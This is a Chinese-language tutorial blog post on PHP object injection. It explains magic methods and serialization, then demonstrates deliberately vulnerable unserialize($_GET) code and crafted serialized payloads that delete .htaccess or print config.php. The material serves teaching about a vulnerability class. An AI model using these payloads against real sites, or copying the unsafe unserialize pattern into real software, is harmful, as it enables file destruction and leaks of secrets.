php object注入初探 2017-11-01 05:18:27 Steven Xeldax java的反序列化漏洞一直以来都觉得很高端,这次从php入手,整理了一下关于php反序列化漏洞。 ``` 整理内容来源: secpulse.com/archives/4809.html securitycafe.ro/2015/01/05/understanding-php-object-injection/ blog.csdn.net/qq_19876131/article/details/50926210 ``` ## php类和对象 ``` <?php class test() { public $var='aa'; public function print() { echo $this->var; } } $object=new test(); $object->print(); ``` 上面的代码中,创建了一个对象object,然后调用了类的方法'print',这个方法打印出了类中变量的值。 ## php魔法方法 魔法方法其实就是class内置函数,php类中那些包含的特殊的方法,就称之为魔法方法(magic function)。 魔法方法的名字以双下划线'__'开头,例如__construct,__destruct,__toString,__sleep,__wakeup等等这些都是类的魔幻方法。 > __construct :当一个对象被创建时被自动调用(构造器) > __destruct :当一个对象被销毁时被自动调用(析构器) > __toString :当一个对象用作一个字符串时被自动调用 ``` __wakeup() //使用unserialize时触发 __sleep() //使用serialize时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发 __invoke() //当脚本尝试将对象调用为函数时触发 ``` ``` <?php class test { public $var='this is a string '; public function print() { echo $this->var(); } public function __construct() { echo '1111'; } public function __destruct() { echo '2222'; } public function __toString() { echo '3333'; } } $object=new test(); $object->print(); echo $object; ?> ``` 返回结果: 1111 this is a string 2222 3333 ## php对象序列化 PHP中允许对象序列化操作。序列化是一种允许你保存一个对象并在之后重用该对象的操作。例如,你可以保存一个包含一些用户信息的对象,并在后面重新使用该对象。 为了序列化一个对象,你需要调用“serialize”方法。该方法会返回一个字符串形式的内容,你可以在后面通过调用“unserialize”方法来重建该对象。 下面我们用一个简单的类“User”来演示对象的序列化,在下面的代码中,我们先序列化一个对象,然后查看序列化之后该对象的表现形式。 ``` <?php // 定义一个类“User” class User { // 类数据 public $age = 0; public $name = ''; // 打印数据的方法 public function PrintData() { echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />'; } } // 创建一个对象usr $usr = new User(); // 设置该对象的数据值 $usr->age = 20; $usr->name = 'John'; // 打印数据 $usr->PrintData(); // 打印对象usr序列化之后的结果 echo serialize($usr); ?> ``` ``` 运行上面代码的结果为: User John is 20 years old. O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";} ``` ## php对象反序列化 ``` <?php // 类定义 class User { // 类数据 public $age = 0; public $name = ''; // 打印数据的方法 public function PrintData() { echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />'; } } // 通过反序列化得到对象usr $usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}'); // 打印数据 $usr->PrintData(); ?> 运行上面代码将会输出下面内容: User John is 20 years old. ``` ## PHP对象注入 ``` 现在,我们已经理解了对象序列化的工作流程,但是我们该怎么利用它呢?其实,有很多可能的利用方法,因为所有的事情都依赖于应用执行流、可用的类和魔幻方法。 需要记住的是,一个序列化后的对象中包含有攻击者控制的对象值。 你可能会在web应用的源代码中发现,一个类中定义了“__wakeup”或“__destruct”方法,并且这些方法进行了一些可能会影响web应用的操作。 例如,我们可能会发现一个类临时将日志存储到了一个文件中。当该类的对象被销毁时,可能该对象不再需要这个日志文件,然后会删除该文件,代码如下所示: <?php class LogFile { // 日志文件名 public $filename = 'error.log'; // 一些其他的代码 public function LogData($text) { echo 'Log some data: ' . $text . '<br />'; file_put_contents($this->filename, $text, FILE_APPEND); } // 析构器中删除了日志文件 public function __destruct() { echo '__destruct deletes "' . $this->filename . '" file. <br />'; unlink(dirname(__FILE__) . '/' . $this->filename); } } ?> 上面代码的使用示例: <?php include 'logfile.php'; //上面代码所在文件名 // 创建对象obj $obj = new LogFile(); // 设置日志文件名,并写入日志信息 $obj->filename = 'somefile.log'; $obj->LogData('Test'); //程序结束,将调用析构器,文件'somefile.log'也被删除 ?> 在其他脚本中,我们可以找到一个使用用户提供的数据(攻击者控制的$_GET)调用“unserialize”的地方: <?php include 'logfile.php'; // ... 其他代码 // 定义类User class User { // 类数据 public $age = 0; public $name = ''; // 打印数据 public function PrintData() { echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />'; } } // 反序列化用户提供的数据 $usr = unserialize($_GET['usr_serialized']); ?> 正如你所看到的,上面的代码中使用了“LogFile”类。代码中对用户提供的数据进行了反序列化(调用了“unserialize”方法),这里就是我们要重点关注的注入点。 一个有效的请求将会像这样: script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";} 但是如果此时我们发送的不是一个序列化的“User”对象,而是一个序列化的“LogFile”对象,将会发生什么呢?因为并没有限制我们只能发送序列化的“User”对象,所以我们可以发送任何我们想要发送的序列化的对象。 下面就让我们创建一个序列化的“LogFile”对象: <?php $obj = new LogFile(); $obj->filename = '.htaccess'; echo serialize($obj) . '<br />'; ?> 运行上面代码输出结果为: O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";} __destruct deletes ".htaccess" file. 现在我们使用序列化的“LogFile”对象来制作请求: script.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";} 那么,输出结果将是: __destruct deletes ".htaccess" file. 文件“.htaccess”已经被删除。这是完全有可能的,因为__destruct方法被自动调用,并且我们能够使用类“LogFile”的变量,所以我们能够将变量“filename”设置成任何值。 这就是该漏洞名字的由来:作为一个攻击者,为了实现执行你的代码或者对你来说其他未预料到的有用的表现,不使用期望的序列化的对象,而是注入其他的PHP对象。 即使上面不是最好的例子,但你也能理解它的思想:反序列化操作自动调用__wakeup和__destruct,攻击者可以操作类变量来攻击web应用。 ``` ## 常用注入点 ``` 即使“默认的”利用代码跟__wakeup或__destruct魔幻方法有关,但还有很多其他常见注入点,所有的事情都跟应用代码的执行流有关。 例如,为了允许程序员将一个对象用作字符串(例如,echo $obj),一个“User”类可能会定义一个__toString方法。但是其他类可能也定义了一个__toString方法来允许程序员读文件。 <?php // ... 其他代码 ... class FileClass { // 文件名变量 public $filename = 'error.log'; // 将对象用作字符串来显示文件内容 public function __toString() { return file_get_contents($this->filename); } } // 主类User class User { // 类数据 public $age = 0; public $name = ''; //允许对象用作字符串 public function __toString() { return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />'; } } // 期望输入:一个序列化的User对象 $obj = unserialize($_GET['usr_serialized']); // 将调用反序列化对象的__toString方法 echo $obj; ?> 一个有效的请求将会使用一个序列化的User对象: script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";} 输出将代表User信息: User John is 20 years old. 但是,如果我们使用序列化的FileClass对象来构造请求,将会发生什么呢? 我们可以像这样创建一个序列化的FileClass对象: <?php $fileobj = new FileClass(); $fileobj->filename = 'config.php'; echo serialize($fileobj); ?> 我们序列化后得到的字符串内容为: O:9:"FileClass":1:{s:8:"filename";s:10:"config.php";} 如果我们使用FileClass对象来构造上面的请求,结果将会怎样呢? script.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php";} 它将在网页中输出文件“config.php”中的内容: <?php $private_data = 'MAGIC'; ?> 理解起来很简单:反序列化时,没有创建“User”对象,而是创建了一个“FileClass”对象。当脚本调用“echo $obj”语句时,因为我们提供的是“FileClass”对象,所以它将调用类“FileClass”中的“__toString”方法,这将会读取并输出“filename”变量指定的文件中的内容,而变量“filename”的值是由我们通过构造请求的内容来控制的。 ``` ## 其他可能的利用场景 ``` 使用其他魔幻方法来实现PHP对象注入也是有可能的:如果对象调用了一个不存在的方法,__call将会被自动调用。如果对象尝试访问不存在的类数据,__get和__set将会被自动调用,等等。 但是,利用并不仅限于魔幻方法。在正常的方法中同样可以使用这种思想来进行漏洞利用。例如,为了查找并打印一些用户数据,User类中可能会定义一个“get”方法,但其他类可能定义一个“get”方法来从数据库中获取数据,这就导致了一个SQL注入漏洞。或者一个“set”或“write”方法将数据写入到任意文件,这就有可能会造成一个远程代码执行漏洞。 唯一的技术问题是注入点处的可访问的类,但是一些框架或脚本可能具有自动加载(autoload)特性,有关自动加载你可以在这里找到更多信息。最大的问题是人本身:为了能够利用这种类型的漏洞,需要人工去理解应用代码流程,这需要花费大量时间来阅读并理解代码。 ```